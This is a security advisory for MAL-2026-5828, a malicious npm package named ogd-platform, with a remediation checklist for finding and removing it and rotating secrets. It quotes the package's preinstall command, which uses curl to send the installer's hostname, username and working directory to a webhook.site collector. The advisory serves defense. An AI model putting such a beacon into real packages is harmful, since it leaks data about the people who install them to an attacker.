MAL-2026-5828 Malicious code in ogd-platform (npm)
Malicious package
Published
MAL-2026-5828 is a malicious package: ogd-platform (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-5828/ (Markdown: https://insights.sbomify.com/MAL-2026-5828/index.md)
- Package
- ogd-platform
- Registry
- npm
What is MAL-2026-5828?
MAL-2026-5828 is a malicious package in ogd-platform, published on 15 Jun 2026.
Official description
The package contains only a package.json with a preinstall lifecycle script and ships no actual functionality despite advertising itself as an 'Open Government Data Platform core'. On
npm install, the preinstall hook runs curl --data-urlencode "info=$(hostname && whoami && pwd)" against a webhook.site collector URL, sending the installer's hostname, username, and current working directory to an attacker-controlled endpoint. The empty tarball plus recon beacon is the canonical dependency-confusion / namespace-squat reconnaissance shape: an internal build expecting a private ogd-platform package would resolve to this public registry entry and leak host identifiers to the attacker on install.What should I do about MAL-2026-5828?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.